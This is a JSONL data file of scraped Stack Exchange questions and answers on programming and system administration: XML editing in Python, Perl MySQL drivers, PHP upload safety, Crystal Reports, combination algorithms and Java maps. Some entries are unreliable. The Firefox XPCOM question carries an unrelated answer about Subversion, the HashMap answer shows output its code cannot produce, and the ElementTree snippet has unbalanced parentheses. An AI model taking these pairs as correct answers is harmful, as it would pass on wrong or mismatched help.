{"id": "hf_adfc33fe11a4", "question": "<p>I'm trying to generate customized xml files from a template xml file in python. </p>\n\n<p>Conceptually, I want to read in the template xml, remove some elements, change some text attributes, and write the new xml out to a file.  I wanted it to work something like this:</p>\n\n<pre><code>conf_base = ConvertXmlToDict('config-template.xml')\nconf_base_dict = conf_base.UnWrap()\ndel conf_base_dict['root-name']['level1-name']['leaf1']\ndel conf_base_dict['root-name']['level1-name']['leaf2']\n\nconf_new = ConvertDictToXml(conf_base_dict)\n</code></pre>\n\n<p>now I want to write to file, but I don't see how to get to \nElementTree.ElementTree.write() </p>\n\n<pre><code>conf_new.write('config-new.xml') \n</code></pre>\n\n<p>Is there some way to do this, or can someone suggest doing this a different way? </p>\n", "question_body": "", "answer": "I'm not sure if converting the info set to nested dicts first is easier. Using ElementTree, you can do this:\n```\n```\nimport xml.etree.ElementTree as ET\ndoc = ET.parse(\"template.xml\")\nlvl1 = doc.findall(\"level1-name\")[0]\nlvl1.remove(lvl1.find(\"leaf1\")\nlvl1.remove(lvl1.find(\"leaf2\")\n# or use del lvl1[idx]\ndoc.write(\"config-new.xml\")\n```\n```\nElementTree was designed so that you don't have to convert your XML trees to lists and attributes first, since it uses exactly that internally.\nIt also support as small subset of\nXPath\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.311344"}
{"id": "hf_a04a9aa76712", "question": "<p>I'm trying to install <a href=\"http://www.maatkit.org/\" rel=\"nofollow noreferrer\">Maatkit</a> following <a href=\"http://maatkit.sourceforge.net/doc/maatkit.html#installation\" rel=\"nofollow noreferrer\">the maatkit  instructions</a>. I can't get past having to install DBD::mysql. \"Warning: prerequisite DBD::mysql 1 not found.\"\nWhen I try to install DBD::mysql from cpan, I get very helpful \"make had returned bad status, install seems impossible\".</p>\n\n<p>Perl is \"v5.8.8 built for darwin-thread-multi-2level\", the one that came with OS X. I also tried <a href=\"http://search.cpan.org/dist/DBD-mysql/lib/DBD/mysql.pm#INSTALLATION\" rel=\"nofollow noreferrer\">building</a> from source with same result.</p>\n", "question_body": "", "answer": "We need more of the error message. Most likely, you are missing the MySQL client development files. I don't know how to install these on OSX. Also see\nthis older post on OSX 10.5.2\n, in which some other failures with the mysql client libraries are found.\nPossibly post this question with more parts of your error message at\nperlmonks.org\n, if stackoverflow doesn't allow for convenient pasting of your\n```\nmake\n```\nsession or rather the last 20 or 10 lines of it.\nSome more Googling with\n```\nsite:perlmonks.org\n```\nalso finds\nthis post\nwhich has some more details on things to watch out for when installing DBD::MySQL. Depending on how comfortable you feel with the installation, you might want to manually run the tests, supplying a test database and test user or even skip testing the module.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.381540"}
{"id": "hf_2f61f19fb4c7", "question": "<p>Is there a way to prevent someone from faking a mime type on a file upload and then running a php/exe/etc...</p>\n\n<p>I have to make the file upload directory writeable and executable so that the files can be stored, but this allows anyone to run a script after.  One thing I can do is add random data to the file name so they can't guess the file name after (since they still can't read from the directory to get a listing).</p>\n\n<p>I'm using file upload with php for the first time and I'm trying to cover all of the security issues.</p>\n", "question_body": "", "answer": "The file upload directory should not be accessible to the web browser.  I.e. don't allow somebody to upload a file, say \"\n```\nremove_all_my_files.php\n```\n\", and then execute it on your system by giving the url to it, say \"\n```\nhttp://xample.com/uploads/remove_all_my_files.php\n```\n\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.426980"}
{"id": "hf_31a00e1cf97e", "question": "<p>When an error occurs in a function, I'd like to know the sequence of events that lead up to it, especially when that function is called from a dozen different places.  Is there any way to retrieve the call stack in VB6, or do I have to do it the hard way (e.g., log entries in every function and error handler, etc.)?</p>\n", "question_body": "", "answer": "I'm pretty sure you have to do it the hard way.  At a previous job of mine, we had a very elegant error handling process for VB6 with DCOM components.  However, it was a lot redundant code that had to be added to every method, so much that we had home-grown tools to insert it all for you.\nI can't provide too much insight on its implementation (both because I've forgotten most of it and there's a chance they may consider it a trade secret).  One thing that does stand out was that the method name couldn't be derived at run-time so it was added as a string variable (some developers would copy-paste instead of using the tool and it would lead to error stacks that lied...).\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.449231"}
{"id": "hf_f30f6d359f58", "question": "<p>I'm working on an existing report and I would like to test it with the database.  The problem is that the catalog set during the initial report creation no longer exists.  I just need to change the catalog parameter to a new database.  The report is using a stored proc for its data.  It looks like if try and remove the proc to re-add it all the fields on the report will disapear and I'll have to start over.</p>\n\n<p>I'm working in the designer in Studio and just need to tweak the catalog property to get a preview.  I have code working to handle things properly from the program.</p>\n", "question_body": "", "answer": "EDIT: Saw your edit, so i'll keep my original post but have to say.. I've never had a crystal report in design mode in VS so I can't be of much help there sorry.\n```\n```\nreport.SetDatabaseLogon(UserID, Password, ServerName, DatabaseName);\n```\n```\nAfter that you have to roll through all referenced tables in the report and recurse through subreports and reset their logoninfo to one based on the reports connectioninfo.\n```\n```\nprivate void FixDatabase(ReportDocument report)\n    {\n        ConnectionInfo crystalConnectionInfo = someConnectionInfo;\n\n        foreach (Table table in report.Database.Tables)\n        {\n            TableLogOnInfo logOnInfo = table.LogOnInfo;\n\n            if (logOnInfo != null)\n            {\n                logOnInfo.ConnectionInfo = crystalConnectionInfo;\n\n                table.LogOnInfo.TableName = table.Name;\n                table.LogOnInfo.ConnectionInfo.UserID = someConnectionInfo.UserID;\n                table.LogOnInfo.ConnectionInfo.Password = someConnectionInfo.Password;\n                table.LogOnInfo.ConnectionInfo.DatabaseName = someConnectionInfo.DatabaseName;\n                table.LogOnInfo.ConnectionInfo.ServerName = someConnectionInfo.ServerName;\n                table.ApplyLogOnInfo(table.LogOnInfo);\n\n                table.Location = someConnectionInfo.DatabaseName + \".dbo.\" + table.Name;\n            }\n        }\n\n        //call this method recursively for each subreport\n        foreach (ReportObject reportObject in report.ReportDefinition.ReportObjects)\n        {\n            if (reportObject.Kind == ReportObjectKind.SubreportObject)\n            {\n                this.FixDatabase(report.OpenSubreport(((SubreportObject)reportObject).SubreportName));\n            }\n        }\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.471617"}
{"id": "hf_c032ae5318fc", "question": "<p>I am building an MFC application for both XP and Vista. I have Visual Studio 2008 installed on the XP machine but I need to debug the application on Vista. How can I do that? Do I really have to install Visual Studio on a Vista machine?</p>\n\n<p>When using remote debugging I assume that all executable and library files must be in my Vista virtual machine. But I can seem to copy the MFC debug DLLs to the Vista VM, and as a result I keep getting side-by-side configuration errors.</p>\n\n<p>I would prefer to remote debug the application without having to copy any files, how can I do that? And if I can't, how can I install the MFC DLLs without having to install Visual Studio on the Vista machine?</p>\n\n<p>Note: I have Vista installed on a virtual machine using Virtual PC. I just don't know how to run the debug version of my application there.</p>\n", "question_body": "", "answer": "You can install VirtualPC (or other virtualization software) and install Vista as virtual system, so you don't need two computers.  For this part of the debugging, it probably better that you explicitly do\nnot\ninstall visual studio to make sure there's not some hidden dependency in your program that visual studio provides.  At this point you want to be testing the fully-deployed version of the app.\nThe biggest rule I've found so far for developing for vista is making sure that you\nnever\nwrite anything to the same folder where the program is installed.  Write to the Application Data folder instead.  This was a rule for XP, too, but it's much more strictly  enforced in vista.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.494428"}
{"id": "hf_0639168a3976", "question": "<p>How do I view the grants (access rights) for a given user in MySQL?</p>\n", "question_body": "", "answer": "```\n```\nmysql> show grants for 'user'@'host'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.529154"}
{"id": "hf_97161368287c", "question": "<p>My project is currently using a svn repository which gains several hundred new revisions per day.\nThe repository resides on a Win2k3-server and is served through Apache/mod_dav_svn.  </p>\n\n<p>I now fear that over time the performance will degrade due to too many revisions.<br>\nIs this fear reasonable?<br>\nWe are already planning to upgrade to 1.5, so having thousands of files in one directory will not be a problem in the long term.</p>\n\n<blockquote>\n  <p>Subversion on stores the delta (differences), between 2 revisions, so this helps saving a LOT of space, specially if you only commit code (text) and no binaries (images and docs).</p>\n</blockquote>\n\n<p>Does that mean that in order to check out the revision 10 of the file foo.baz, svn will take revision 1 and then apply the deltas 2-10?</p>\n", "question_body": "", "answer": "Subversion only stores the delta (differences), between 2 revisions, so this helps saving a LOT of space, specially if you only commit code (text) and no binaries (images and docs).\nAdditionally I´ve seen a lot of very big projects using svn and never complained about performance.\nMaybe you are worried about checkout times? then I guess this would really be a networking problem.\nOh, and I´ve worked on CVS repositories with 2Gb+ of stuff (code, imgs, docs) and never had an performance problem. Since svn is a great improvement on cvs I don´t think you should worry about.\nHope it helps easy your mind a little ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.578216"}
{"id": "hf_5cc24f9124cd", "question": "<p>Can a firefox XPCOM component read and write page content across multiple pages? </p>\n\n<p>Scenario:\nA bunch of local HTML and javascript files. A \"Main.html\" file opens a window \"pluginWindow\", and creates a plugin using:<br><br>\n<code>\nnetscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');<br>\nvar obj = Components.classes[cid].createInstance();<br>\nplugin = obj.QueryInterface(Components.interfaces.IPlugin);<br>\nplugin.addObserver(handleEvent);\n</code></p>\n\n<p>The plugin that has 3 methods.</p>\n\n<p><code>IPlugin.Read</code> - Read data from plugin<br>\n<code>IPlugin.Write</code> - Write data to the plugin<br>\n<code>IPlugin.addObserver</code> - Add a callback handler for reading.<br></p>\n\n<p>The \"Main.html\" then calls into the pluginWindow and tries to call the plugin method Write.</p>\n\n<p>I receive an error: </p>\n\n<p><code>Permission denied to call method UnnamedClass.Write</code></p>\n", "question_body": "", "answer": "Subversion only stores the delta (differences), between 2 revisions, so this helps saving a LOT of space, specially if you only commit code (text) and no binaries (images and docs).\nAdditionally I´ve seen a lot of very big projects using svn and never complained about performance.\nMaybe you are worried about checkout times? then I guess this would really be a networking problem.\nOh, and I´ve worked on CVS repositories with 2Gb+ of stuff (code, imgs, docs) and never had an performance problem. Since svn is a great improvement on cvs I don´t think you should worry about.\nHope it helps easy your mind a little ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.602276"}
{"id": "hf_175ee9e4b68f", "question": "<p>I want to write a function that takes an array of letters as an argument and a number of those letters to select. </p>\n\n<p>Say you provide an array of 8 letters and want to select 3 letters from that. Then you should get:</p>\n\n<pre><code>8! / ((8 - 3)! * 3!) = 56\n</code></pre>\n\n<p>Arrays (or words) in return consisting of 3 letters each.</p>\n", "question_body": "", "answer": "Art of Computer Programming Volume 4: Fascicle 3\nhas a ton of these that might fit your particular situation better than how I describe.\nGray Codes\nAn issue that you will come across is of course memory and pretty quickly, you'll have problems by 20 elements in your set --\n20\nC\n3\n= 1140. And if you want to iterate over the set it's best to use a modified gray code algorithm so you aren't holding all of them in memory. These generate the next combination from the previous and avoid repetitions. There are many of these for different uses. Do we want to maximize the differences between successive combinations? minimize? et cetera.\nSome of the original papers describing gray codes:\nSome Hamilton Paths and a Minimal Change Algorithm\nAdjacent Interchange Combination Generation Algorithm\nHere are some other papers covering the topic:\nAn Efficient Implementation of the Eades, Hickey, Read Adjacent Interchange Combination Generation Algorithm\n(PDF, with code in Pascal)\nCombination Generators\nSurvey of Combinatorial Gray Codes\n(PostScript)\nAn Algorithm for Gray Codes\nChase's Twiddle (algorithm)\nPhillip J Chase, `\nAlgorithm 382: Combinations of M out of N Objects\n' (1970)\nThe algorithm in C\n...\nIndex of Combinations in Lexicographical Order (Buckles Algorithm 515)\nYou can also reference a combination by its index (in lexicographical order).  Realizing that the index should be some amount of change from right to left based on the index we can construct something that should recover a combination.\nSo, we have a set {1,2,3,4,5,6}... and we want three elements. Let's say {1,2,3} we can say that the difference between the elements is one and in order and minimal. {1,2,4} has one change and is lexicographically number 2. So the number of 'changes' in the last place accounts for one change in the lexicographical ordering. The second place, with one change {1,3,4} has one change but accounts for more change since it's in the second place (proportional to the number of elements in the original set).\nThe method I've described is a deconstruction, as it seems, from set to the index, we need to do the reverse – which is much trickier. This is how\nBuckles\nsolves the problem. I wrote some\nC to compute them\n, with minor changes – I used the index of the sets rather than a number range to represent the set, so we are always working from 0...n.\nNote:\nSince combinations are unordered, {1,3,2} = {1,2,3} --we order them to be lexicographical.\nThis method has an implicit 0 to start the set for the first difference.\nIndex of Combinations in Lexicographical Order (McCaffrey)\nThere is\nanother way\n:, its concept is easier to grasp and program but it's without the optimizations of Buckles. Fortunately, it also does not produce duplicate combinations:\nThe set\nthat maximizes\n, where\n.\nFor an example:\n```\n27 = C(6,4) + C(5,3) + C(2,2) + C(1,1)\n```\n. So, the 27th lexicographical combination of four things is: {1,2,5,6}, those are the indexes of whatever set you want to look at. Example below (OCaml), requires\n```\nchoose\n```\nfunction, left to reader:\n```\n```\n(* this will find the [x] combination of a [set] list when taking [k] elements *)\nlet combination_maccaffery set k x =\n    (* maximize function -- maximize a that is aCb              *)\n    (* return largest c where c < i and choose(c,i) <= z        *)\n    let rec maximize a b x =\n        if (choose a b ) <= x then a else maximize (a-1) b x\n    in\n    let rec iterate n x i = match i with\n        | 0 -> []\n        | i ->\n            let max = maximize n i x in\n            max :: iterate n (x - (choose max i)) (i-1)\n    in\n    if x < 0 then failwith \"errors\" else\n    let idxs =  iterate (List.length set) x k in\n    List.map (List.nth set) (List.sort (-) idxs)\n```\n```\nA small and simple combinations iterator\nThe following two algorithms are provided for didactic purposes. They implement an iterator and (a more general) folder overall combinations.\nThey are as fast as possible, having the complexity O(\nn\nC\nk\n). The memory consumption is bound by\n```\nk\n```\n.\nWe will start with the iterator, which will call a user provided function for each combination\n```\n```\nlet iter_combs n k f =\n  let rec iter v s j =\n    if j = k then f v\n    else for i = s to n - 1 do iter (i::v) (i+1) (j+1) done in\n  iter [] 0 0\n```\n```\nA more general version will call the user provided function along with the state variable, starting from the initial state. Since we need to pass the state between different states we won't use the for-loop, but instead, use recursion,\n```\n```\nlet fold_combs n k f x =\n  let rec loop i s c x =\n    if i < n then\n      loop (i+1) s c @@\n      let c = i::c and s = s + 1 and i = i + 1 in\n      if s < k then loop i s c x else f c x\n    else x in\n  loop 0 0 [] x\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.643016"}
{"id": "hf_279a9d17b9a0", "question": "<p>Why does the following method hang?</p>\n\n<pre>\npublic void pipe(Reader in, Writer out) {\n    CharBuffer buf = CharBuffer.allocate(DEFAULT_BUFFER_SIZE);\n    while( in.read(buf) >= 0 ) {\n      out.append(buf.flip());\n    }\n}\n</pre>\n", "question_body": "", "answer": "Answering my own question: you have to call\n```\nbuf.clear()\n```\nbetween\n```\nread\n```\ns. Presumably,\n```\nread\n```\nis hanging because the buffer is full. The correct code is\n```\npublic void pipe(Reader in, Writer out) {\n    CharBuffer buf = CharBuffer.allocate(DEFAULT_BUFFER_SIZE);\n    while( in.read(buf) >= 0 ) {\n      out.append(buf.flip());\n      buf.clear();\n    }\n}\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.680319"}
{"id": "hf_0eb1f6dfacbd", "question": "<p>Where can I find the specifications for the various C# languages?</p>\n\n<p><em>(EDIT: it appears people voted down because you could 'google' this, however, my original intent was to put an answer with information not found on google. I've accepted the answer with the best google results, as they are relevant to people who haven't paid for VS)</em></p>\n", "question_body": "", "answer": "If you have Visual Studio 2005 or 2008, they are already on your machine!\nFor 2005 (English):\n```\n```\n.\\Microsoft Visual Studio 8\\VC#\\Specifications\\1033\n```\n```\nFor 2008 (English):\n```\n```\n.\\Microsoft Visual Studio 9.0\\VC#\\Specifications\\1033\n```\n```\nFor 2010 (English):\n```\n```\n.\\Microsoft Visual Studio 10.0\\VC#\\Specifications\\1033\n```\n```\nFor 2012 (English):\n```\n```\n.\\Microsoft Visual Studio 11.0\\VC#\\Specifications\\1033\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.772229"}
{"id": "hf_b7cef2d2b1d4", "question": "<p>I need to parse <a href=\"https://www.rfc-editor.org/rfc/rfc3339\" rel=\"noreferrer\">RFC 3339</a> strings like <code>&quot;2008-09-03T20:56:35.450686Z&quot;</code> into Python's <code>datetime</code> type.</p>\n<p>I have found <a href=\"https://docs.python.org/library/datetime.html#datetime.datetime.strptime\" rel=\"noreferrer\"><code>strptime</code></a> in the Python standard library, but it is not very convenient.</p>\n<p>What is the best way to do this?</p>\n", "question_body": "", "answer": "What is the exact error you get? Is it like the following?\n```\n```\n>>> datetime.datetime.strptime(\"2008-08-12T12:20:30.656234Z\", \"%Y-%m-%dT%H:%M:%S.Z\")\nValueError: time data did not match format:  data=2008-08-12T12:20:30.656234Z  fmt=%Y-%m-%dT%H:%M:%S.Z\n```\n```\nIf yes, you can split your input string on \".\", and then add the microseconds to the datetime you got.\nTry this:\n```\n```\n>>> def gt(dt_str):\n        dt, _, us= dt_str.partition(\".\")\n        dt= datetime.datetime.strptime(dt, \"%Y-%m-%dT%H:%M:%S\")\n        us= int(us.rstrip(\"Z\"), 10)\n        return dt + datetime.timedelta(microseconds=us)\n\n>>> gt(\"2008-08-12T12:20:30.656234Z\")\ndatetime.datetime(2008, 8, 12, 12, 20, 30, 656234)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.817985"}
{"id": "hf_f90f959720a4", "question": "<p>I am attempting to read a large XML document and I wanted to do it in chunks vs <code>XmlDocument</code>'s way of reading the entire file into memory. I know I can use <code>XmlTextReader</code> to do this but I was wondering if anyone has used SAX for .NET? I know Java developers swear by it and I was wondering if it is worth giving it a try and if so what are the benefits in using it. I am looking for specifics.</p>\n", "question_body": "", "answer": "If you're talking about\nSAX for .NET\n, the project doesn't appear to be maintained.  The last release was more than 2 years ago.  Maybe they got it perfect on the last release, but I wouldn't bet on it.  The author, Karl Waclawek, seems to have disappeared off the net.\nAs for SAX under Java?  You bet, it's great.  Unfortunately, SAX was never developed as a standard, so all of the non-Java ports have been adapting a Java API for their own needs.  While DOM is a pretty lousy API, it has the advantage of having been designed for multiple languages and environments, so it's easy to implement in Java, C#, JavaScript, C, et al.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.886380"}
{"id": "hf_9dd93221377d", "question": "<p>I have a Publishing Portal site and I need to add some announcements to some of the pages.  I've read an article which says that i have to create an announcement list to be able add an announcement web part but i can't seem to find any resources on how i can add an announcement list.</p>\n\n<p>Any help will be greatly appreciated.</p>\n\n<p>TIA!</p>\n", "question_body": "", "answer": "Giving you direct instructions on how to create the list would most likely leave you more lost than ever. If this is a publishing portal, there's a lot more to learn beyond just creating a list. Content must be approved, and is versioned. I'd strongy advise you not to start poking around in there as you run a large risk of messing up the portal. Don't get stressed by people demanding you perform such things without having received any training. Grab yourself a coffee, flip your boss the finger and watch some pertinant webcasts on\nhttp://office.microsoft.com/en-us/sharepointserver/FX101211721033.aspx\nHope this helps,\nOisin", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.920598"}
{"id": "hf_c500a52df585", "question": "<p>I'm confused with how views are organized, and it is important to understand this as ASP.NET MVC uses conventions to get everything working right.</p>\n\n<p>Under the views directory, there are subdirectories.  Inside these subdirectories are views.  I'm assuming that the subdirectories map to controllers, and the controllers act on the views contained within their subdirectories.</p>\n\n<p>Is there an emerging expectation of what types of views are contained within these directories?  For instance, should the default page for each directory be index.aspx?  Should the pages follow a naming convention such as Create[controller].aspx, List[controller].aspx, etc?  Or does it not matter?</p>\n", "question_body": "", "answer": "View directory naming and file naming are important, because the ASP.NET MVC framework makes certain assumptions about them.  If you do not conform to these assumptions, then you must write code to let the framework know what you are doing. Generally speaking, you should conform to these assumptions unless you have a good reason not to.\nLet's look at the simplest possible controller action:\n```\n```\npublic ActionResult NotAuthorized()\n    {\n        return View();\n    }\n```\n```\nBecause no view name has been specified in the call to View(), the framework will presume that the view filename will be the same as the Action name. The framework has a type called ViewEngine which will supply the extension.  The default ViewEngine is WebFormViewEngine, which will take that name and append an .aspx to it. So the full filename in this case would be NotAuthorized.aspx.\nBut in which folder will the file be found?  Again, the ViewEngine supplies that information.  With WebFormViewEngine, it will look in two folders: ~/Views/Shared and ~/Views/{controller}\nSo if your controller was called AccountController, it would look in ~/Views/Account\nBut there might be times when you don't want to follow these rules.  For instance, two different actions might return the same view (with a different model, or something).  In this case, if you specify the view name explicitly in your action:\n```\n```\npublic ActionResult NotAuthorized()\n    {\n        return View(\"Foo\");\n    }\n```\n```\nNote that with WebFormViewEngine, the \"view name\" is generally the same as the filename, less the extension, but the framework does not require that of other view engines.\nSimilarly, you might also have a reason to want your application to look for views and non-default folders.  You can do that by creating your own ViewEngine.  I show the technique in\nthis blog post\n, but the type names are different, since it was written for an earlier version of the framework.  The basic idea is still the same, however.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.943938"}
{"id": "hf_18290c6f7f6e", "question": "<p>Is there a specfic <a href=\"http://en.wikipedia.org/wiki/Design_Patterns\" rel=\"nofollow noreferrer\">Gang Of Four Design Pattern</a> that you frequently use, yet hardly see used in other peoples designs?  If possible, please describe a simple example where this pattern can be useful.  It doesn't have to necessarily be a Gang Of Four pattern, but please include a hyperlink to the pattern's description if you choose a non-GoF pattern.</p>\n\n<p>Put another way:<br>\n<strong>What are some good/useful design patterns that I, or someone else who does have a passing knowledge of the main patterns, may not already know?</strong></p>\n", "question_body": "", "answer": "Strategy pattern maybe? I see not a lot of person using it and it's quite useful when calculations change or can be accumulated together. I use it when a part of the calculation can be replaced by another calculation. Often in program that use for enterprise rate for product.\nHere is some documentation :\nWikipedia\nDoFactory", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:10.967529"}
{"id": "hf_ded55df1bd4d", "question": "<p>i have a control that is organized like this</p>\n\n<p><img src=\"https://dl-web.getdropbox.com/get/jsstructure.GIF?w=faef1ed3\" alt=\"alt text\"></p>\n\n<p>and i want to have the javascript registered on the calling master pages, etc, so that anywhere this control folder is dropped and then registered, it will know how to find the URL to the js.</p>\n\n<p>Here is what i have so far (in the user control )</p>\n\n<pre><code>protected void Page_Load(object sender, EventArgs e)\n{\n    if(!Page.IsClientScriptBlockRegistered(\"jqModal\"))\n        Page.ClientScript.RegisterClientScriptInclude(\"jqModal\", ResolveClientUrl(\"~js/jqModal.js\"));\n    if (!Page.IsClientScriptBlockRegistered(\"jQuery\"))\n        Page.ClientScript.RegisterClientScriptInclude(\"jQuery\", ResolveClientUrl(\"~/js/jQuery.js\"));\n    if (!Page.IsClientScriptBlockRegistered(\"tellAFriend\"))\n        Page.ClientScript.RegisterClientScriptInclude(\"tellAFriend\", ResolveClientUrl(\"js/tellAFriend.js\"));\n}\n</code></pre>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "You can use a helper class with static method:\n```\n```\npublic static class PageHelper {\n    public static void RegisterClientScriptIfNeeded( Page page, string key, string url ) {\n        if( false == page.IsClientScriptBlockRegistered( key )) {\n            page.ClientScript.RegisterClientScriptInclude( key , ResolveClientUrl( url ));\n        }\n    }\n}\n```\n```\nor you can have a similar instance method in some base class for page/webcontrol/usercontrol, which will do the same thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.001319"}
{"id": "hf_a01c1fe4aa92", "question": "<p>What is the best way to create reverse index for full text search in Common Lisp ? Is there any proven and (relatively) bug-free open library for SBCL or LispWorks ?</p>\n\n<p>I managed to create my own library on top of AllegroCache - it was fairly easy to create, reliable and fast, but lacks advanced search options (phrases, wildcarded words in phrases, etc).</p>\n\n<p>Is there any open library that can be used with SBCL or LispWorks so I don't have to reinvent the wheel by writing my own ?</p>\n", "question_body": "", "answer": "I know you're asking about Common Lisp, but there are a number of inverted text search service oriented applications.   One well known and respected on is\nLucene\n.\nCould a solution be to use that search engine, but interface your Common Lisp code via a web-service API?  (xml-rpc, xml over http or just text over http)?\nIs there a further reason why you'd like it to be in Common Lisp?  Packages like Lucene may cover all the search related features you need, while using a remote api may still allow you to perform your more complex logic in Common Lisp.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.028563"}
{"id": "hf_1c16164de79f", "question": "<p>i m developing a little tool on my Pocket PC using WM6  SDK but i would like to implement a finger friendly user interface (iphone-like). \nSo i m looking for a free .NET framework that offers the possibility to easily integrate a finger friendly interface for Windows Mobile 6 Pro .</p>\n\n<p>Any ideas ?</p>\n\n<p>EDIT : Finger friendly means big icons, big buttons , scrollable screens with a simple touch of the thumb... Because the Winforms in Compact framework are made for the stylus, not fingers !!</p>\n", "question_body": "", "answer": "I'm not entirely sure what you're asking here... Windows Mobile 6.0 Pro\nis\ntouch-screen enabled, so you should simply have to create your project targeting the Windows Mobile 6.0 Pro (note, however, that your application will not be compatible with Windows Mobile 6.0 Standard devices).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.062429"}
{"id": "hf_dae7a19dc964", "question": "<p>When I iterate over the values or keys are they going to correlate?  Will the second key map to the second value?</p>\n", "question_body": "", "answer": "The question confused me at first but @Matt cleared it up for me.\nConsider using the entrySet() method that returns a set with the key-value pairs on the Map.\n```\n```\nMap<Integer, Integer> a = new HashMap<Integer, Integer>(2);\na.put(1, 2);\na.put(2, 3);\nfor (Map.Entry<Integer, Integer> entry : a.entrySet()) {\n    System.out.println(entry.getKey() + \" => \" + entry.getValue());\n}\n```\n```\nThis outputs:\n```\n```\n1 => 2\n2 => 3\n3 => 3\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:11.158876"}
